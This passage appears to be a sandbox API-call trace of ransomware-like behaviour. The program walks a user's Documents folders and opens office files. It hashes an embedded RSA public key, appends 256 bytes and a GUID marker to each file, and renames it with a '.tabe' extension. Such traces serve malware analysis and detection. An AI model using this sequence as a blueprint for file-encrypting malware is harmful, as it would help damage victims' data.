ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x675a81e0, ftLastAccessTime.dwHighDateTime=0x1d5de12, ftLastWriteTime.dwLowDateTime=0x675a81e0, ftLastWriteTime.dwHighDateTime=0x1d5de12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b06220, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x675a81e0, ftLastAccessTime.dwHighDateTime=0x1d5de12, ftLastWriteTime.dwLowDateTime=0x675a81e0, ftLastWriteTime.dwHighDateTime=0x1d5de12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4e07520, ftCreationTime.dwHighDateTime=0x1d5dbd7, ftLastAccessTime.dwLowDateTime=0x8023ce60, ftLastAccessTime.dwHighDateTime=0x1d5e340, ftLastWriteTime.dwLowDateTime=0x8023ce60, ftLastWriteTime.dwHighDateTime=0x1d5e340, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="246ILgmmvQPBscZULFrm", cAlternateFileName="246ILG~1")) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1ad30, ftCreationTime.dwHighDateTime=0x1d5e0ec, ftLastAccessTime.dwLowDateTime=0xff7cf250, ftLastAccessTime.dwHighDateTime=0x1d5e4c0, ftLastWriteTime.dwLowDateTime=0xff7cf250, ftLastWriteTime.dwHighDateTime=0x1d5e4c0, nFileSizeHigh=0x0, nFileSizeLow=0x10a63, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="UqUFo84TBUdYOOrTjlR.docx", cAlternateFileName="UQUFO8~1.DOC")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\UqUFo84TBUdYOOrTjlR.docx") returned=".docx" [0127.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\UqUFo84TBUdYOOrTjlR.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\68hvn\\uqufo84tbudyoortjlr.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.396] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=68195) returned 1 [0127.396] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.397] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10a3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.397] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.398] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10a63, lpOverlapped=0x0) returned 1 [0127.399] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.399] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.399] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.399] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.400] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.400] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.400] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.400] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.400] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.400] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.400] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.400] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.400] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.401] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.401] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10a63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.401] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.401] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.401] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.401] CloseHandle (hObject=0x618) returned 1 [0127.402] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\UqUFo84TBUdYOOrTjlR.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\68hvn\\uqufo84tbudyoortjlr.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\UqUFo84TBUdYOOrTjlR.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\68hvn\\uqufo84tbudyoortjlr.docx.tabe")) returned 1 [0127.404] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1ad30, ftCreationTime.dwHighDateTime=0x1d5e0ec, ftLastAccessTime.dwLowDateTime=0xff7cf250, ftLastAccessTime.dwHighDateTime=0x1d5e4c0, ftLastWriteTime.dwLowDateTime=0xff7cf250, ftLastWriteTime.dwHighDateTime=0x1d5e4c0, nFileSizeHigh=0x0, nFileSizeLow=0x10a63, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="UqUFo84TBUdYOOrTjlR.docx", cAlternateFileName="UQUFO8~1.DOC")) returned 0 [0127.404] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.404] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.404] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.404] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\") returned="KHLX_z_BzgqT1ccr3g5\\" [0127.404] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0127.404] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.404] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.404] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.404] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.404] PathFindFileNameW (pszPath="") returned="" [0127.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4066ea20, ftCreationTime.dwHighDateTime=0x1d5e25d, ftLastAccessTime.dwLowDateTime=0x35e83a40, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x35e83a40, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.406] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4066ea20, ftCreationTime.dwHighDateTime=0x1d5e25d, ftLastAccessTime.dwLowDateTime=0x35e83a40, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x35e83a40, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.406] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d09da80, ftCreationTime.dwHighDateTime=0x1d5e72d, ftLastAccessTime.dwLowDateTime=0x1a3c9350, ftLastAccessTime.dwHighDateTime=0x1d5de38, ftLastWriteTime.dwLowDateTime=0x1a3c9350, ftLastWriteTime.dwHighDateTime=0x1d5de38, nFileSizeHigh=0x0, nFileSizeLow=0x9d2d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2v7LY1VADBJvbIJndXHF.ods", cAlternateFileName="2V7LY1~1.ODS")) returned 1 [0127.406] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\2v7LY1VADBJvbIJndXHF.ods") returned=".ods" [0127.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\2v7LY1VADBJvbIJndXHF.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\2v7ly1vadbjvbijndxhf.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.407] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=40237) returned 1 [0127.407] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.408] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9d07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.408] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.409] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x9d2d, lpOverlapped=0x0) returned 1 [0127.410] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.410] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.410] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.410] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.410] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.410] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.411] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.411] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.411] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.411] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.411] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.411] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.411] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.411] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.411] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9d2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.411] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.411] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.411] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.412] CloseHandle (hObject=0x618) returned 1 [0127.412] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\2v7LY1VADBJvbIJndXHF.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\2v7ly1vadbjvbijndxhf.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\2v7LY1VADBJvbIJndXHF.ods.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\2v7ly1vadbjvbijndxhf.ods.tabe")) returned 1 [0127.414] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72119930, ftCreationTime.dwHighDateTime=0x1d5de7a, ftLastAccessTime.dwLowDateTime=0xa13a4240, ftLastAccessTime.dwHighDateTime=0x1d5debe, ftLastWriteTime.dwLowDateTime=0xa13a4240, ftLastWriteTime.dwHighDateTime=0x1d5debe, nFileSizeHigh=0x0, nFileSizeLow=0xcfe0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8dC-NNpWCspAS.rtf", cAlternateFileName="8DC-NN~1.RTF")) returned 1 [0127.414] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\8dC-NNpWCspAS.rtf") returned=".rtf" [0127.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\8dC-NNpWCspAS.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\8dc-nnpwcspas.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.415] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=53216) returned 1 [0127.415] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.416] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcfba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.416] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.417] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xcfe0, lpOverlapped=0x0) returned 1 [0127.418] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.418] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.418] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.418] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.419] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.419] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.419] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.419] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.419] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.419] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.419] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.419] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.419] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.419] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.419] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcfe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.420] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.420] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.420] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, 